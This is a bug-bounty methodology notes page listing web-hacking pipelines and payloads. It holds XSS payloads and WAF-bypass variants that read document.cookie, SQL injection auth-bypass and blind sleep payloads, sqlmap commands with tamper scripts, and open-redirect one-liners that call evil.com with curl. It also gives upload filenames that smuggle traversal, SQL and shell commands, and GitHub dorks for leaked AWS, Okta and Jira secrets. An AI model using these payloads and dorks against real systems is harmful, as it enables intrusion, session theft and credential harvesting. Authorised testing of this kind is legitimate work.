🧑‍🏫 My Methodologies

Gathering Breached Credentials

https://github.com/hmaverickadams/breach-parse

file upload vulnerability test

https://github.com/epinna/weevely3

Set domain scope (burpsuite)

.*\.target\.com$

XSS recon methodology

▶ cat domains.txt | waybackurls > urls

cat urls.txt        --> read the file
| kxss              --> filter special characters
| sed 's/=.*/=/'    --> remove everything after = ,add = 
| sed 's/URL: //'   --> remove URL: and white space
| dalfox pipe       --> dalfox tool for xss payload
-b xalgord.xss.ht   --> BXSS payload adder.

KXSS

The vulnerable parameter for XSS should have Unfiltered : [“ ‘ < > $ | ( ) ` : ; { } ]

Payload:

"><img%20src=x%20onerror="alert(%27POC%20By%20Xalgord%27)"

Bypass Waf Pyaload:

<%2FScriPt><sCripT+class%3DXalgord>document.write(document.cookie);<%2FsCriPt>

Open Redirect Mass Hunt

tool = ragno, qsreplace

python3 ragno.py -d intensedebate.com -s -q -o ragno_urls.txt

cat ragno_urls.txt | grep -a -i \=http | wc -w

cat ragno_urls.txt | grep -a -i \=http > potential_openredirect_vun.txt

cat potential_openredirect_vun.txt | qsreplace "http://evil.com" | wc -w

cat potential_openredirect_vun.txt | qsreplace "http://evil.com" > unique_potential_openredirect.txt

cat unique_potential_openredirect.txt | while read target_urls do; do curl -s -L $target_urls -I | grep "evil.com" && echo "[Vulnerable] $target_urls \n"; done

Example: One Liner for Hunting Mass Open Redirect

python3 ragno.py -d test.vulnweb.com -s -q -o ragno_urls.txt | cat ragno_urls.txt | grep -a -i \=http | qsreplace "http://evil.com" | while read target_url do; do curl -s -L $target_url -I | grep "evil.com" && echo "[+] [Vulnerable] $target_url \n"; done

Amass Command

amass enum -brute -o output.txt -d example.com -v

Detect Low Hanging Bugs and Sensitive Information like API Keys, Secrets etc. including JS Files and HTML Pages

First run Amass Scan and save its output and then run Sublist3r with bruteforce mode and also save its output in different file. Now open a Website such as https://www.textfixer.com/tools/remove-duplicate-lines.php to remove duplicate subdomains.

Tool: https://github.com/BitTheByte/Eagle

Basic Usage:

python3 main.py -f domains.txt

Advanced Usage:

python3 main.py -f domains.txt -w 10 --db output.db.json

To check API keys if they vulnerable or not, use a tool such as gmapsapiscanner, it is usefull to save the time by automating the process and also if it gets any Vulnerable API, it will generate its POC itself.

Tool: https://github.com/ozguralp/gmapsapiscanner

Usage:

python3 maps_api_scanner_python3.py

SQL Injection Methodologies

*try login with admin admin and send login request to burp

*do an active scan

if show SQL injection with parameter

#POC

copy request in txt

and on sqlmap

sqlmap -r sql.txt --force-ssl --level 5 --risk 3 --dbs -p parameter

and you have a valid SQL INJ 😎😎

SQL Injection Auth Bypass:

' || 1=1 # /2

Blind SQL Injection payload:

email=test@gmail.com'XOR(if(now()=sysdate(),sleep(5*1),0))XOR'Z

Reflected XSS On private program

amass enum -passive -norecursive -noalts -d domain .com -o domain.txt

cat domain.txt | httpx -o domainhttpx.txt

cat domainhttpx.txt | nuclei -t /home/xalgord/nuclei-templates

DONE 😎

Find SQL injections (command combo)

subfinder -d target.com | tee -a domains
cat domains | httpx | tee -a urls.alive
cat urls.alive | waybackurls | tee -a urls.check
gf sqli urls.check >> urls.sqli
sqlmap -m urls.sqli --dbs --batch

Here’s what’s going on in detail:

First we will find all subdomains under our target domain.
Next we will identify all alive web servers running on those subdomains.
Waybackurls will fetch all URLs that the Wayback Machine knows about the identified alive subdomains.
Now we will filter out URLs that match patterns with potential SQL injection.
The final step is to run sqlmap on all identified potentially vulnerable URLs and let it do its magic.

Protip: If you need to bypass WAF (Web Application Firewall) in the process, add the following options to sqlmap:

--level=5 --risk=3 -p 'item1' --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,ifnull2ifisnull,modsecurityversioned

Get scope of Bugcrowd programs in CLI

There is a new tool in town called bcscope which can get you the scope of all bug bounty programs available on Bugcrowd platform, including the private ones.

All you have to do is to provide your Bugcrowd token like this:

bcscope -t <YOUR-TOKEN-HERE> -c 2 -p

Quite convenient and pretty useful!

Get the tool here:

https://github.com/sw33tLie/bcscope

Chaining file uploads with other vulns

When testing file upload functionalities in a web application, try setting the filename to the following values:

../../../tmp/lol.png —> for path traversal
sleep(10)-- -.jpg —> for SQL injection
.jpg/png —> for XSS
; sleep 10; —> for command injections

With these payloads, we may trigger additional vulnerabilities.

GitHub dorks for AWS, Jira, Okta .. secrets

Here are some useful GitHub dorks shared by @hunter0x7 for identifying sensitive information related to Amazon AWS cloud:

org:Target "bucket_name"
org:Target "aws_access_key"
org:Target "aws_secret_key"
org:Target "S3_BUCKET"
org:Target "S3_ACCESS_KEY_ID"
org:Target "S3_SECRET_ACCESS_KEY"
org:Target "S3_ENDPOINT"
org:Target "AWS_ACCESS_KEY_ID"
org:Target "list_aws_accounts"

Here’s another list of GitHub dorks shared by @GodfatherOrwa for identifying various other credentials and secrets:

"target.com" password or secret
"target.atlassian" password
"target.okta" password
"corp.target" password
"jira.target" password
"target.onelogin" password
target.service-now password
some time only "target"

Protip: While you are doing GitHub dorking, try also GitDorker (made by @obheda12) which automates the whole process and which contains 400+ dorks in total, for easy bug bounty wins.

Detailed information about GitDorker can be found here.

Simple reflected XSS scenario

Here’s an interesting bug bounty write-up leading to a reflected XSS (Cross-Site Scripting by visiting a link).

The author was able to successfully identify and exploit XSS despite the fact that the application was filtering some characters and keywords (possibly protected by WAF).

Here’s what @_justYnot did in detail:

Run subfinder -d target.com | httprobe -c 100 > target.txt
Run cat target.txt | waybackurls | gf xss | kxss
Got a URL which had all the special characters unfiltered and the parameter was callback=
Tried some basic XSS payloads but they weren’t working, the site was filtering some keywords in the payload (like script and alert)
Then he referred to the @PortSwigger XSS cheat sheet (link)
After trying some payloads, one payload with event as onbegin worked and XSS executed successfully!
Made a good report, sent it to the company last month and got rewarded $$

This is a perfect example why we should never give up when things get difficult. When you’ve got a lead, you have to keep pushing to get the reward! Here’s list of tools @_justYnot used:

XSS firewall bypass techniques

Here’s a list of 7 useful techniques on how we can bypass WAF (Web Application Firewall) while exploiting XSS (Cross-Site Scripting) in a web application:

Check if the firewall is blocking only lowercase:

<sCRipT>alert(1)</sCRiPt>

Try to break firewall regex with new line (\r\n), aka. CRLF injection:

<script>%0d%0aalert(1)</script>

Try double encoding:

%2522

Testing for recursive filters, if firewall removes the text in bold, we will have clear payload:

<scr<script>ipt>alert(1);</scr</script>ipt>

Injecting anchor tag without whitespaces:

<a/href="j&Tab;a&Tab;v&Tab;asc&Tab;ri&Tab;pt:alert&lpar;1&rpar;">

Try to bypass whitespaces using a bullet:

<svg•onload=alert(1)>

Try to change request method (POST instead of GET):

GET /?q=xss POST /q=xss

Try capatalizing alert function:

</textarea><img src=x onerror=”var pop=’ALERT(document.cookie);’; eval(pop.toLowerCase());”

Short XSS Payload:

<script/src=//Ǌ.₨></script>

Hex XSS Payloads:

</title><scRipt>alert(0x00C57D)</scRipt>
<iMg src%3dN onerror%3dalert(0x0036A9)>
<iMg src%3dN onerror%3dalert(0x000D98)>

Throw this into EVERY parameter you see

'"`><img src=x>${{7*7}}

'"` =====> SQLi testing
'"` ======> JS inject
'"`> ======> html tag attribute inject
<img src=x> =====> html inject
${{7*7}} ======> CSTI

Where to look for Blind XSS

Review Forms
Contact Us pages
Password Field (you never know if the other side doesn't properly handle input and if your password is in view mode)
Address fields of e-commerce sites.
First or last name field while doing credit card payments
Set User-Agent to Blind XSS payload. You can do that easily from a proxy such as Burpsuite. And there are many more cases, but we would encourage you to read some reports to get a perfect knowledge, where other hackers are already applying these techniques and how you can use them in your program
